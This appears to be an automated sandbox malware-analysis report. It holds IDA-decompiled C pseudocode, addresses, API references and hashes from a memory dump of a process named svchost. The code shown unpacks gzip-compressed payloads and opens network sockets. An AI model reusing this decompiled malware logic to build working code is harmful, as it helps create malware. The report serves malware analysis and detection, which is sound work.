0x040135fb
0x0401360a
0x040135fd
0x04013605
0x04013605
0x04013614
0x0401361a
0x0401361a
0x0401373e
0x04013744
0x0401374a
0x0401374f
0x04013755
0x0401375c
0x0401376d
0x0401375e
0x04013768
0x04013768
0x04013774
0x04013774
0x0401377b
0x0401377b
0x04013784
0x00000000
0x00000000
0x0401378a
0x04013790
0x04013790
0x00000000

APIs

std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 04013600
codecvt.LIBCPMTD ref: 04013763

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: Iterator_baseIterator_base::_codecvtstd::_
String ID:
API String ID: 3817610042-0
Opcode ID: f1128d24d620c5156b89d421dd3da55f990c9896146a5d0fdb04f4f7fc45e4ab
Instruction ID: 940426154ba22623eb4585301945e88a2baf8d43e6e943a63c159829dd530f10
Opcode Fuzzy Hash: f1128d24d620c5156b89d421dd3da55f990c9896146a5d0fdb04f4f7fc45e4ab
Instruction Fuzzy Hash: 355105B4E01219EFEB14DF94D594BEEBBB1BB48308F208169E8057B3A0D7756A44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04026C40 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 314
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E04026C40(void* __ebx, void* __edi, void* __esi, void* __eflags, signed int _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v37;
				intOrPtr _v44;
				intOrPtr _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr* _v64;
				signed short* _v68;
				signed int _v72;
				intOrPtr _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				signed short* _v96;
				signed short* _v100;
				signed short* _v104;
				char _v108;
				intOrPtr _v112;
				signed short* _v116;
				intOrPtr _v120;
				signed short* _v124;
				signed int _v128;
				intOrPtr _v132;
				signed int _v136;
				signed int _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _t154;
				intOrPtr _t172;
				intOrPtr _t177;
				signed int _t183;
				void* _t187;
				intOrPtr _t191;
				intOrPtr _t195;
				signed short* _t201;
				void* _t204;
				intOrPtr _t205;
				void* _t210;
				void* _t268;
				void* _t269;
				signed int _t270;
				void* _t271;
				void* _t272;

				_t269 = __esi;
				_t268 = __edi;
				_t210 = __ebx;
				_v20 =  *0x429024 ^ _t270;
				_v28 =  *0x42741c;
				_v24 =  *0x427420;
				_t246 =  *0x427424;
				_v16 =  *0x427424;
				_v12 = 0;
				_t154 = E04020CE0(8);
				_t272 = _t271 + 4;
				_v112 = _t154;
				if(_v112 == 0) {
					_v140 = 0;
				} else {
					_v140 = E0401F4E0(_v112);
				}
				_v8 = _v140;
				while(_a4 != 0 && _a8 >= 4) {
					_t246 = _a4;
					E0401F9F0(_t210, _v8, _a4, _a4, _a8, 0);
					_v36 = 0;
					_v32 = 0;
					_v37 = 0;
					while((_v37 & 0x000000ff) == 0) {
						_t246 =  &_v28;
						_v36 = E0401F370(_v8,  &_v28, 4, _v36);
						if(_v36 >= 0) {
							_v36 = _v36 + 4;
							_t246 =  &_v16;
							_v32 = E0401F370(_v8,  &_v16, 3, _v36);
							if(_v32 >= 0) {
								_v44 = _v32 - _v36;
								_t246 = _v36;
								_v52 = E0401F410(_v8,  &_v28, 4, _v36, _v44);
								if(_v52 <= 0xffffffff) {
									_v56 = 0;
									_t172 = E0401EAF0(_t268, _a4 + _v36, _v32 - _v36,  &_v56);
									_t272 = _t272 + 0xc;
									_v48 = _t172;
									if(_v48 <= 4 || _v56 == 0) {
										L47:
										_t246 = _v37 & 0x000000ff;
										if((_v37 & 0x000000ff) == 0) {
											_v36 = _v32 + 3;
										}
										continue;
									} else {
										_t177 = E040223A0(_v56 + 4, _v48 - 4);
										_t272 = _t272 + 8;
										_v60 = _t177;
										if(_v60 !=  *_v56) {
											L45:
											if(_v56 != 0) {
												_v128 = _v56;
												E04020CC0(_v128);
												_t272 = _t272 + 4;
												_v56 = 0x666;
											}
											goto L47;
										}
										_v64 = _v56 + 4;
										_t229 = _v48 - 4;
										_v68 = _v48 - 4;
										while(1) {
											L19:
											_t183 = E04021D10(_t229,  *_v64);
											_t272 = _t272 + 4;
											_v84 = _t183;
											if((_v84 & 0x0000ffff) < 1 || (_v84 & 0x0000ffff) > 0x7d00) {
												break;
											}
											_v80 = _v84 & 0x0000ffff;
											_t187 = E040221A0(_v64 + 8,  &_v80, _v64 + 4, 4);
											_t272 = _t272 + 0x10;
											if(_t187 != 0) {
												_v72 = 0;
												_t191 = E04022700(_t210, _t268, _t269, _v64 + (_v84 & 0x0000ffff) + 8, _v68 - (_v84 & 0x0000ffff) + 8, 0x429fb0, 0x254, _v64 + 8, _v80,  &_v72);
												_t272 = _t272 + 0x1c;
												_v76 = _t191;
												if(_v72 != 0) {
													while(1) {
														_t229 = _v68 - (_v84 & 0x0000ffff) + 8;
														if(_v76 != _v68 - (_v84 & 0x0000ffff) + 8) {
															break;
														}
														_t195 = E040223A0(_v72, _v76 - 4);
														_t272 = _t272 + 8;
														_v88 = _t195;
														_t229 = _v72 + _v76;
														if(_v88 !=  *((intOrPtr*)(_v72 + _v76 - 4))) {
															L41:
															if(0 != 0) {
																continue;
															}
															L42:
															if(_v72 != 0) {
																_v124 = _v72;
																_t229 = _v124;
																E04020CC0(_v124);
																_t272 = _t272 + 4;
																_v72 = 0x666;
															}
															if(0 != 0) {
																goto L19;
															} else {
																goto L45;
															}
														} else {
															goto L29;
														}
														while(1) {
															L29:
															_v100 = _v72;
															_t229 = _v76 - 4;
															_v104 = _v76 - 4;
															if(( *_v100 & 0x0000ffff) != 0x8b1f) {
																break;
															}
															_t229 = _v100 + _v104;
															_v108 =  *((intOrPtr*)(_v100 + _v104 - 4));
															if(_v108 >= 1) {
																_t201 = E04020CE0(_v108);
																_t272 = _t272 + 4;
																_v116 = _t201;
																_t229 = _v116;
																_v96 = _v116;
																if(_v96 != 0) {
																	_v92 = _v108;
																	_t229 = _v100;
																	_t204 = E0401E240(_t210, _t268, _t269, _v96,  &_v92, _v100, _v104);
																	_t272 = _t272 + 0x10;
																	if(_t204 == 0) {
																		_t205 = E04020CE0(8);
																		_t272 = _t272 + 4;
																		_v120 = _t205;
																		if(_v120 == 0) {
																			_v144 = 0;
																		} else {
																			_v144 = E0401F4E0(_v120);
																		}
																		_v12 = _v144;
																		E0401F9F0(_t210, _v12, _v108, _v96, _v108, 0);
																		_v37 = 1;
																		_t229 = 0;
																		if(0 != 0) {
																			continue;
																		} else {
																			goto L41;
																		}
																	}
																	goto L41;
																}
																goto L41;
															}
															goto L41;
														}
														goto L41;
													}
													goto L42;
												}
												goto L45;
											}
											goto L45;
										}
										goto L45;
									}
								}
								_v36 = _v52;
								continue;
							}
							break;
						}
						break;
					}
					if(0 != 0) {
						continue;
					}
					L51:
					if(_v8 != 0) {
						_t246 = _v8;
						_v136 = _v8;
						_v132 = _v136;
						if(_v132 == 0) {
							_v148 = 0;
						} else {
							_v148 = E04004EA0(_v132, 1);
						}
						_v8 = 0x666;
					}
					return E04006C8C(_v12, _t210, _v20 ^ _t270, _t246, _t268, _t269);
				}
				goto L51;
			}

0x04026c40
0x04026c40
0x04026c40
0x04026c50
0x04026c58
0x04026c61
0x04026c64
0x04026c6a
0x04026c6d
0x04026c76
0x04026c7b
0x04026c7e
0x04026c85
0x04026c97
0x04026c87
0x04026c8f
0x04026c8f
0x04026ca7
0x04026caa
0x04026cc1
0x04026cc8
0x04026ccd
0x04026cd4
0x04026cdb
0x04026cdf
0x04026cf1
0x04026cfd
0x04026d04
0x04026d11
0x04026d1a
0x04026d26
0x04026d2d
0x04026d3a
0x04026d41
0x04026d53
0x04026d5a
0x04026d67
0x04026d80
0x04026d85
0x04026d88
0x04026d8f
0x04026fd8
0x04026fd8
0x04026fde
0x04026fe6
0x04026fe6
0x00000000
0x04026d9f
0x04026dad
0x04026db2
0x04026db5
0x04026dc0
0x04026fb9
0x04026fbd
0x04026fc2
0x04026fc9
0x04026fce
0x04026fd1
0x04026fd1
0x00000000
0x04026fbd
0x04026dcc
0x04026dd2
0x04026dd5
0x04026dd8
0x04026dd8
0x04026dde
0x04026de3
0x04026de6
0x04026df1
0x00000000
0x00000000
0x04026e08
0x04026e1f
0x04026e24
0x04026e29
0x04026e30
0x04026e69
0x04026e6e
0x04026e71
0x04026e78
0x04026e7f
0x04026e89
0x04026e8e
0x00000000
0x00000000
0x04026ea0
0x04026ea5
0x04026ea8
0x04026eae
0x04026eb7
0x04026f8a
0x04026f8c
0x00000000
0x00000000
0x04026f92
0x04026f96
0x04026f9b
0x04026f9e
0x04026fa2
0x04026fa7
0x04026faa
0x04026faa
0x04026fb3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x04026ebd
0x04026ebd
0x04026ec0
0x04026ec6
0x04026ec9
0x04026ed7
0x00000000
0x00000000
0x04026ee1
0x04026ee7
0x04026eee
0x04026ef9
0x04026efe
0x04026f01
0x04026f04
0x04026f07
0x04026f0e
0x04026f15
0x04026f1c
0x04026f28
0x04026f2d
0x04026f32
0x04026f38
0x04026f3d
0x04026f40
0x04026f47
0x04026f59
0x04026f49
0x04026f51
0x04026f51
0x04026f69
0x04026f79
0x04026f7e
0x04026f82
0x04026f84
0x00000000
0x00000000
0x00000000
0x00000000
0x04026f84
0x00000000
0x04026f34
0x00000000
0x04026f10
0x00000000
0x04026ef0
0x00000000
0x04026ed9
0x00000000
0x04026e90
0x00000000
0x04026e7a
0x00000000
0x04026e2b
0x00000000
0x04026dff
0x04026d8f
0x04026d5f
0x00000000
0x04026d5f
0x00000000
0x04026d2f
0x00000000
0x04026d06
0x04026ff0
0x00000000
0x00000000
0x04026ff6
0x04026ffa
0x04026ffc
0x04026fff
0x0402700b
0x04027012
0x04027026
0x04027014
0x0402701e
0x0402701e
0x04027030
0x04027030
0x04027047
0x04027047
0x00000000

APIs

std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 04026C8A
codecvt.LIBCPMTD ref: 04027019

Strings

ir\, xrefs: 04026C5B

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: Iterator_baseIterator_base::_codecvtstd::_
String ID: ir\
API String ID: 3817610042-1854106103
Opcode ID: 013e048e50c599f190f400021c24b0a8665a3a58535e8dc2fb7aab1ea6fdaade
Instruction ID: 71bce72721c98fd701a8830471f0d2f2c7e2f459ebc33f17165b16ca64a09b40
Opcode Fuzzy Hash: 013e048e50c599f190f400021c24b0a8665a3a58535e8dc2fb7aab1ea6fdaade
Instruction Fuzzy Hash: 9AD118B0D00228DBDF54DFE8DA94BEDBBB1BF48308F108569E405BB280E735A945DB51

Uniqueness

Uniqueness Score: -1.00%

Function 04020920 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 18%

			E04020920(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, intOrPtr _a4, signed int _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v40;
				short _v42;
				char _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _t101;
				intOrPtr _t102;
				intOrPtr _t106;
				void* _t126;
				intOrPtr _t140;
				void* _t162;
				void* _t163;
				signed int _t164;
				void* _t165;

				_t163 = __esi;
				_t162 = __edi;
				_t126 = __ebx;
				_v28 =  *0x429024 ^ _t164;
				_v64 = __ecx;
				_v8 = 0;
				do {
					_v16 = 0xffffffff;
					_v12 = 0;
					while(_a4 != 0 && (_a8 & 0x0000ffff) != 0) {
						_v16 =  *0x425284(2, 1, 6, 0, 0, 1);
						__eflags = _v16 - 0xffffffff;
						if(_v16 != 0xffffffff) {
							_v20 = 0;
							 *0x42527c(_v16, 0xffff, 0x1001,  &_v20, 4);
							E04007010(_t162,  &_v44, 0, 0x10);
							_t165 = _t165 + 0xc;
							_v44 = 2;
							_v40 = 0;
							_v42 = 0;
							_t101 =  *0x425280(_v16,  &_v44, 0x10);
							__eflags = _t101;
							if(_t101 == 0) {
								_t102 = E04020CE0(0x5c);
								_t165 = _t165 + 4;
								_v52 = _t102;
								__eflags = _v52;
								if(__eflags == 0) {
									_v68 = 0;
								} else {
									_v68 = E04005630(_v52, __eflags);
								}
								_v12 = _v68;
								 *((intOrPtr*)(_v12 + 0x34)) = 0x77777777;
								 *((intOrPtr*)(_v12 + 0x54)) = 2;
								_v48 =  *0x42516c(_v16,  *((intOrPtr*)(_v64 + 8)), _v12, 0);
								_t106 = _v64;
								__eflags = _v48 -  *((intOrPtr*)(_t106 + 8));
								if(_v48 ==  *((intOrPtr*)(_t106 + 8))) {
									E04007010(_t162,  &_v44, 0, 0x10);
									_v44 = 2;
									_v40 = _a4;
									_v42 =  *0x425278(_a8 & 0x0000ffff);
									 *((intOrPtr*)(_v12 + 0x30)) = _v64;
									 *((intOrPtr*)(_v12 + 0x28)) = _v16;
									 *((intOrPtr*)(_v12 + 0x2c)) = 2;
									E04006CA0(_t126, _t162, _t163, _v12 + 0x38,  &_v44);
									_t165 = _t165 + 0x18;
									 *((intOrPtr*)(_v12 + 0x48)) = 0x10;
									 *((intOrPtr*)(_v12 + 0x18)) =  *((intOrPtr*)(_v12 + 0x18)) + 1;
									_t140 = _v64;
									_t161 =  *((intOrPtr*)(_t140 + 0xc));
									_v24 =  *((intOrPtr*)( *((intOrPtr*)(_t140 + 0xc))))(_v16, _v12 + 0x38,  *((intOrPtr*)(_v12 + 0x48)), 0, 0, 0, _v12, 0x10);
									__eflags = _v24;
									if(__eflags != 0) {
										L17:
										_v8 = E04006410(_t126,  *((intOrPtr*)(_v64 + 4)), _t162, _t163, __eflags, _v12, 0);
										_t161 = 0;
										__eflags = 0;
										if(0 != 0) {
											continue;
										}
										goto L18;
									}
									__eflags =  *0x425274() - 0x3e5;
									if(__eflags == 0) {
										goto L17;
									}
								} else {
								}
								goto L18;
							}
							goto L18;
						}
						goto L18;
					}
					L18:
					if(_v8 == 0) {
						if(_v16 != 0xffffffff) {
							 *0x42524c(_v16);
						}
						if(_v12 != 0 && _v12 != 0) {
							_v60 = _v12;
							_t161 = _v60;
							_v56 = _v60;
							if(_v56 == 0) {
								_v72 = 0;
							} else {
								_v72 = E04006A90(_v56, 1);
							}
							_v12 = 0x666;
						}
					}
				} while (0 != 0);
				return E04006C8C(_v8, _t126, _v28 ^ _t164, _t161, _t162, _t163);
			}

0x04020920
0x04020920
0x04020920
0x0402092d
0x04020930
0x04020933
0x0402093a
0x0402093a
0x04020941
0x04020948
0x0402096d
0x04020970
0x04020974
0x0402097b
0x04020996
0x040209a4
0x040209a9
0x040209b1
0x040209b5
0x040209be
0x040209cc
0x040209d2
0x040209d4
0x040209dd
0x040209e2
0x040209e5
0x040209e8
0x040209ec
0x040209fb
0x040209ee
0x040209f6
0x040209f6
0x04020a05
0x04020a0b
0x04020a15
0x04020a33
0x04020a36
0x04020a3c
0x04020a3f
0x04020a4e
0x04020a5b
0x04020a62
0x04020a70
0x04020a7a
0x04020a83
0x04020a89
0x04020a9d
0x04020aa2
0x04020aa8
0x04020abb
0x04020ada
0x04020add
0x04020ae2
0x04020ae5
0x04020ae9
0x04020afa
0x04020b0b
0x04020b0e
0x04020b0e
0x04020b10
0x00000000
0x00000000
0x00000000
0x04020b10
0x04020af1
0x04020af6
0x00000000
0x00000000
0x00000000
0x04020a41
0x00000000
0x04020a3f
0x00000000
0x040209d6
0x00000000
0x04020976
0x04020b16
0x04020b1a
0x04020b20
0x04020b26
0x04020b26
0x04020b30
0x04020b3b
0x04020b3e
0x04020b41
0x04020b48
0x04020b59
0x04020b4a
0x04020b54
0x04020b54
0x04020b60
0x04020b60
0x04020b30
0x04020b67
0x04020b7f

APIs

_memset.LIBCMT ref: 040209A4
codecvt.LIBCPMTD ref: 04020B4F

Strings

wwww, xrefs: 04020A0B

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: _memsetcodecvt
String ID: wwww
API String ID: 2800761558-671953474
Opcode ID: 3b53e552e292a3f9917d3afa780c2f46f6f1ddef7a9f945bd37204f127812075
Instruction ID: 61b96e00e12962727ee7777b3b76a6d85f6ef15ab9ff8b766a9639ba92e0cd34
Opcode Fuzzy Hash: 3b53e552e292a3f9917d3afa780c2f46f6f1ddef7a9f945bd37204f127812075
Instruction Fuzzy Hash: 88813C74E00318EFEB24CFA4D985BEDBBB5AF48318F108159E605BB2D0D775AA81CB54

Uniqueness

Uniqueness Score: -1.00%

Function 040217B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 175COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 040217EA
_memset.LIBCMT ref: 04021800
_memset.LIBCMT ref: 0402181A

Strings

cE, xrefs: 040219B7

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: _memset
String ID: cE
API String ID: 2102423945-163553156
Opcode ID: 943256848d02ca2258a44af5429b83fdcdd6a085740bad4c32c37f3083f003b8
Instruction ID: fdc2fad14a78642c3e0d9cddc9ad9ddf1c8cf601b710c5b7852a6cc2ffa68677
Opcode Fuzzy Hash: 943256848d02ca2258a44af5429b83fdcdd6a085740bad4c32c37f3083f003b8
Instruction Fuzzy Hash: 40718170E04238EAEF60CF91DA547BDB7F5AB01305F14819AE4897E1C4D7746A84DF51

Uniqueness

Uniqueness Score: -1.00%

Function 0400A7B7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0400A7B7(signed char __edx) {
				signed int _t50;
				signed char _t51;
				signed int _t52;
				signed int _t54;
				signed int _t57;
				signed int _t59;
				signed int _t64;
				signed int _t70;
				signed int* _t71;
				signed int* _t72;
				void* _t73;
				signed int _t83;
				void* _t84;
				void* _t90;
				void* _t91;
				void* _t94;
				signed int _t98;

				_t89 = __edx;
				_t103 = __edx - 0x49;
				if(__edx == 0x49) {
					_t50 =  *_t71;
					__eflags = _t50 - 0x36;
					if(_t50 != 0x36) {
						L21:
						__eflags = _t50 - 0x33;
						if(_t50 != 0x33) {
							L24:
							__eflags = _t50 - 0x64;
							if(_t50 == 0x64) {
								goto L33;
							}
							__eflags = _t50 - 0x69;
							if(_t50 == 0x69) {
								goto L33;
							}
							__eflags = _t50 - 0x6f;
							if(_t50 == 0x6f) {
								goto L33;
							}
							__eflags = _t50 - 0x75;
							if(_t50 == 0x75) {
								goto L33;
							}
							__eflags = _t50 - 0x78;
							if(_t50 == 0x78) {
								goto L33;
							}
							__eflags = _t50 - 0x58;
							if(_t50 == 0x58) {
								goto L33;
							}
							 *(_t98 - 0x26c) = _t93;
							 *(_t98 - 0x238) = _t93;
							_t64 = E0400ED68(_t89 & 0x000000ff, _t98 - 0x25c);
							__eflags = _t64;
							_t65 =  *(_t98 - 0x211);
							if(_t64 == 0) {
								L32:
								E0400A462(_t65,  *((intOrPtr*)(_t98 - 0x24c)), _t98 - 0x228);
								goto L33;
							}
							_t93 = _t98 - 0x228;
							E0400A462(_t65,  *((intOrPtr*)(_t98 - 0x24c)), _t98 - 0x228);
							_t65 =  *_t71;
							 *(_t98 - 0x23c) =  &(_t71[0]);
							__eflags =  *_t71;
							if(__eflags == 0) {
								 *((intOrPtr*)(E0400B23F(_t103))) = 0x16;
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_t70 = E0400B1D7(_t89, _t90, _t93);
								if( *((char*)(_t98 - 0x250)) != 0) {
									_t70 =  *(_t98 - 0x254);
									 *(_t70 + 0x70) =  *(_t70 + 0x70) & 0xfffffffd;
								}
								_t52 = _t70 | 0xffffffff;
								goto L38;
							}
							goto L32;
						}
						__eflags = _t71[0] - 0x32;
						if(_t71[0] != 0x32) {
							goto L24;
						}
						 *(_t98 - 0x210) =  *(_t98 - 0x210) & 0xffff7fff;
						 *(_t98 - 0x23c) =  &(_t71[0]);
						goto L33;
					}
					__eflags = _t71[0] - 0x34;
					if(_t71[0] != 0x34) {
						goto L21;
					}
					 *(_t98 - 0x210) =  *(_t98 - 0x210) | 0x00008000;
					 *(_t98 - 0x23c) =  &(_t71[0]);
					goto L33;
				} else {
					__eflags = __edx - 0x68;
					if(__edx == 0x68) {
						 *(_t98 - 0x210) =  *(_t98 - 0x210) | 0x00000020;
					} else {
						__eflags = __edx - 0x6c;
						if(__edx == 0x6c) {
							__eflags =  *_t74 - 0x6c;
							if( *_t74 != 0x6c) {
								 *(_t98 - 0x210) =  *(_t98 - 0x210) | 0x00000010;
							} else {
								 *(_t98 - 0x210) =  *(_t98 - 0x210) | 0x00001000;
								 *(_t98 - 0x23c) =  &(_t74[0]);
							}
						} else {
							__eflags = __edx - 0x77;
							if(__edx == 0x77) {
								 *(_t98 - 0x210) =  *(_t98 - 0x210) | 0x00000800;
							}
						}
					}
					while(1) {
						L33:
						_t72 =  *(_t98 - 0x23c);
						_t51 =  *_t72;
						 *(_t98 - 0x211) = _t51;
						__eflags = _t51;
						if(_t51 == 0) {
							break;
						}
						_t83 =  *(_t98 - 0x26c);
						_t89 = _t51;
						_t74 =  &(_t72[0]);
						__eflags =  *(_t98 - 0x228);
						 *(_t98 - 0x23c) =  &(_t72[0]);
						if( *(_t98 - 0x228) >= 0) {
							__eflags = _t89 - 0x20 - 0x58;
							if(_t89 - 0x20 > 0x58) {
								_t57 = 0;
								__eflags = 0;
							} else {
								_t57 =  *(_t89 + 0x425950) & 0x0000000f;
							}
							_t9 = _t57 * 8; // 0x3747193b
							_t59 =  *(_t83 + _t9 + 0x425970) >> 4;
							_t84 = 7;
							 *(_t98 - 0x26c) = _t59;
							__eflags = _t59 - _t84;
							if(_t59 > _t84) {
								continue;
							} else {
								goto ( *((intOrPtr*)(0x407c80 + _t59 * 4)));
							}
						}
						break;
					}
					__eflags =  *((char*)(_t98 - 0x250));
					if( *((char*)(_t98 - 0x250)) != 0) {
						_t54 =  *(_t98 - 0x254);
						_t46 = _t54 + 0x70;
						 *_t46 =  *(_t54 + 0x70) & 0xfffffffd;
						__eflags =  *_t46;
					}
					_t52 =  *(_t98 - 0x228);
					L38:
					_pop(_t91);
					_pop(_t94);
					_pop(_t73);
					return E04006C8C(_t52, _t73,  *(_t98 - 4) ^ _t98, _t89, _t91, _t94);
				}
			}

0x0400a7b7
0x0400a7b7
0x0400a7ba
0x0400a811
0x0400a813
0x0400a815
0x0400a834
0x0400a834
0x0400a836
0x0400a855
0x0400a855
0x0400a857
0x00000000
0x00000000
0x0400a85d
0x0400a85f
0x00000000
0x00000000
0x0400a865
0x0400a867
0x00000000
0x00000000
0x0400a86d
0x0400a86f
0x00000000
0x00000000
0x0400a875
0x0400a877
0x00000000
0x00000000
0x0400a87d
0x0400a87f
0x00000000
0x00000000
0x0400a885
0x0400a896
0x0400a89c
0x0400a8a2
0x0400a8a4
0x0400a8ab
0x0400a8cf
0x0400a8db
0x00000000
0x0400a8db
0x0400a8b3
0x0400a8b9
0x0400a8be
0x0400a8c1
0x0400a8c7
0x0400a8c9
0x0400a578
0x0400a580
0x0400a581
0x0400a582
0x0400a583
0x0400a584
0x0400a585
0x0400a594
0x0400a596
0x0400a59c
0x0400a59c
0x0400a5a0
0x00000000
0x0400a5a0
0x00000000
0x0400a8c9
0x0400a838
0x0400a83c
0x00000000
0x00000000
0x0400a840
0x0400a84a
0x00000000
0x0400a84a
0x0400a817
0x0400a81b
0x00000000
0x00000000
0x0400a81f
0x0400a829
0x00000000
0x0400a7bc
0x0400a7bc
0x0400a7bf
0x0400a805
0x0400a7c1
0x0400a7c1
0x0400a7c4
0x0400a7de
0x0400a7e1
0x0400a7f9
0x0400a7e3
0x0400a7e4
0x0400a7ee
0x0400a7ee
0x0400a7c6
0x0400a7c6
0x0400a7c9
0x0400a7cf
0x0400a7cf
0x0400a7c9
0x0400a7c4
0x0400b032
0x0400b032
0x0400b032
0x0400b038
0x0400b03a
0x0400b040
0x0400b042
0x00000000
0x00000000
0x0400b044
0x0400b050
0x0400a638
0x0400a639
0x0400a640
0x0400a646
0x0400a650
0x0400a652
0x0400a667
0x0400a667
0x0400a654
0x0400a65e
0x0400a661
0x0400a669
0x0400a673
0x0400a676
0x0400a677
0x0400a67d
0x0400a67f
0x00000000
0x0400a685
0x0400a685
0x0400a685
0x0400a67f
0x00000000
0x0400a646
0x0400b057
0x0400b05e
0x0400b060
0x0400b066
0x0400b066
0x0400b066
0x0400b066
0x0400b06a
0x0400b070
0x0400b073
0x0400b074
0x0400b077
0x0400b07e
0x0400b07e

Strings

2, xrefs: 0400A838
l, xrefs: 0400A7DE
, xrefs: 0400A805

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID:
String ID: $2$l
API String ID: 0-3132104027
Opcode ID: 33ce8aebcf81edaf52939c3371d537490426ca7ff4ef4ab249f69b2ed4e8911d
Instruction ID: 97a9dc216c0970bdd76ba4c43342de9e9df9d78a676d099925bbab2bb04a16ba
Opcode Fuzzy Hash: 33ce8aebcf81edaf52939c3371d537490426ca7ff4ef4ab249f69b2ed4e8911d
Instruction Fuzzy Hash: CD41DD30A862688AFF74CE64889C3F87BF5AB11359F4481CAC0A97A1C1C7757B86CF01

Uniqueness

Uniqueness Score: -1.00%

Function 04011930 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E04011930(void* __ebx, intOrPtr __ecx, void* __eflags) {
				signed int _v8;
				void _v36;
				signed short _v40;
				signed short _v42;
				signed short _v44;
				signed short _v46;
				signed short _v50;
				signed short _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* __edi;
				void* __esi;
				void* _t56;
				signed int _t77;

				_t56 = __ebx;
				_v8 =  *0x429024 ^ _t77;
				_v76 = __ecx;
				_v56 = 0;
				memcpy( &_v36, 0x427060, 6 << 2);
				asm("movsb");
				_v64 = E04020CE0(0x29);
				_v60 = _v64;
				E04007010(0x42706c, _v60, 0, 0x29);
				 *0x425180( &_v52);
				 *0x4251f8(_v60, 0x28,  &_v36, _v52 & 0x0000ffff, _v50 & 0x0000ffff, _v46 & 0x0000ffff, _v44 & 0x0000ffff, _v42 & 0x0000ffff, _v40 & 0x0000ffff);
				_v68 = E04020CE0(8);
				if(_v68 == 0) {
					_v80 = 0;
				} else {
					_v80 = E0401F4E0(_v68);
				}
				_t72 = _v80;
				_v56 = _v80;
				E0401FC90(_t56, _v56, 0x42706c, 0x427060, _v60, E040070A0(_v60));
				if(_v60 != 0) {
					_t72 = _v60;
					_v72 = _v60;
					E04020CC0(_v72);
					_v60 = 0x666;
				}
				return E04006C8C(_v56, _t56, _v8 ^ _t77, _t72, 0x42706c, 0x427060);
			}

0x04011930
0x0401193d
0x04011942
0x04011945
0x04011959
0x0401195b
0x04011966
0x0401196c
0x04011977
0x04011983
0x040119b1
0x040119c4
0x040119cb
0x040119da
0x040119cd
0x040119d5
0x040119d5
0x040119e1
0x040119e4
0x040119fb
0x04011a04
0x04011a06
0x04011a09
0x04011a10
0x04011a18
0x04011a18
0x04011a31

APIs

_memset.LIBCMT ref: 04011977
std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 040119D0
_strlen.LIBCMT ref: 040119EB

Strings

`pB, xrefs: 04011951

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: Iterator_baseIterator_base::__memset_strlenstd::_
String ID: `pB
API String ID: 3713721629-8080248
Opcode ID: 6e851101af669da2590ada226c12d76250e880d2472f87e89cdad929c21c02bd
Instruction ID: 23dbd6e54e78f367103934f2d22059264fab70093216257e69c110f1ce7c75f9
Opcode Fuzzy Hash: 6e851101af669da2590ada226c12d76250e880d2472f87e89cdad929c21c02bd
